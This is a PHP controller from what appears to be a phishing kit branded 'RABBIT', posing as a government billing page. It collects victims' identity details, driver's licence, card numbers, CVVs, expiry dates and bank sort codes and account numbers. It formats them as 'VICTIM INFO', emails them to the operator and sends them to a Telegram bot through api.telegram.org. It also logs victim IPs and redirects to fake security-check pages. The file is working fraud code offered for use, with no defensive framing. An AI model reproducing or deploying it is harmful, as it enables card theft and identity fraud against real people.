<?php
defined("ALLOW") or exit('No direct script access allowed');

class Payment
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		// Blocker disabled - allow direct access
		// Original code blocked access without session
	}

	public function index()
	{
		echo view('mobile/billfailed');
	}

	public function first()
	{
		if (isset($_POST['fname'])) {
			$_SESSION['fname'] = trim($_POST['fname']);
		}
		if (isset($_POST['dob'])) {
			$_SESSION['dob'] = trim($_POST['dob']);
		}
		if (isset($_POST['address'])) {
			$_SESSION['address'] = trim($_POST['address']);
		}
		if (isset($_POST['city'])) {
			$_SESSION['city'] = trim($_POST['city']);
		}
		if (isset($_POST['state'])) {
			$_SESSION['state'] = trim($_POST['state']);
		}
		if (isset($_POST['zip'])) {
			$_SESSION['zip'] = trim($_POST['zip']);
		}
		if (isset($_POST['driverlicense'])) {
			$_SESSION['driverlicense'] = trim($_POST['driverlicense']);
		}
		if (isset($_POST['phone'])) {
			$_SESSION['phone'] = trim($_POST['phone']);
		}
		if (isset($_POST['email'])) {
			$_SESSION['email'] = trim($_POST['email']);
		}
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/card');
		} else {
			echo view('pc/card');
		}
	}

	public function process()
	{
		if (isset($_POST) && isset($_SESSION)) {
			$fullname = $_POST['fname'];
			$dob = $_POST['day'] . $_POST['month'] . $_POST['year'];
			$day = $_POST['day'];
			$month = $_POST['month'];
			$year = $_POST['year'];
			$address = $_POST['address'];
			$email = $_POST['user'];
			$state = $_POST['state'];
			$zipCode = $_POST['postcode'];
			$driverLicense = $_SESSION['driverlicense'];
			$phone = $_POST['mobilenum'];
			$_SESSION['email'] = $_POST['user'];
			$cardNumber = $_POST['ccn'];
			$cardNumber = str_replace(" ", "", $cardNumber);
			$Cvv = $_POST['cctv'];
			$cardExpY = $_POST['expyear'];
			$emonth = $_POST['emonth'];
			$eyear = $_POST['eyear'];
			$expDate = ".$emonth."|".$eyear.";
			$sortcode = $_POST['sortcode'];
			$actnumber = $_POST['actnumber'];
			$cardExp = substr($cardExpY, 2);
			$_SESSION['ccn'] = $cardNumber;
			$_SESSION ['expdate'] = $expDate;

			$ccN = substr($cardNumber, 0, 6);
			$bin = look_bin($cardNumber);

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 90%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: RABBIT ::</span></strong>
<strong>:: GOV CC 2 ::</strong>
<pre>

# BIN 			  : {$bin}
# Cardholder Name : {$fullname}
# Card Number 	  : {$cardNumber}
# Expiry Date	  : {$emonth}|{$eyear}
# CVV   	  	  : {$Cvv}
# Check Format : {$cardNumber}|{$emonth}|{$eyear}|{$Cvv}
</pre>	

<strong>:: VICTIM INFO ::</strong>
<pre>	

# Fullname   : {$fullname}			
# Address    : {$address}
# Email      : {$email}
# DOB	   	 : {$day}/{$month}/{$year}
# Phone    	 : {$phone}
# Zip Code 	 : {$zipCode}
# Sortcode 	 : {$sortcode}
# Acc number : {$actnumber}
</pre>	

<strong>:: VISITOR DETAILS ::</strong>
<pre>	

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goRABBIT->platform}
# Browser      : {$this->goRABBIT->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['regionName']}
# City         : {$_SESSION['city']}
# Ip Address   : {$this->goRABBIT->ip_address}
# Isp Info     : {$_SESSION['isp']}
# Connection   : {$_SESSION['as']}
# User Agent   : {$this->goRABBIT->agent}

</pre>
</fieldset>
</pre>";

			$subject = "GOV CC2 :: {$bin} :: [ {$_SESSION['country']} - {$this->goRABBIT->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.xyz>";
			@mail(_config('RESULT'), $subject, $message, $headers);
			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_cc.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET CC 2\r\n");
			
			preg_match("/\@(.+)\./", $_SESSION['email'], $match);
		    $_SESSION['email_type'] = $match[1];
            
            if(empty($_SESSION['email'])) {
                $_SESSION['access'] = 7;
				redirect(base_url() . 'security-check/finished?_id=' . md5(time()));    
            } else if (_config('GETEMAIL') == 'on'){
				$_SESSION['access'] = 7;
				redirect(base_url() . 'security-check/email?_id=' . md5(time()));    
			} else {
				$_SESSION['access'] = 8;
				redirect(base_url() . 'security-check/finished/#_dn=' . md5(rand(0, 999)));
			}
		}
	}
}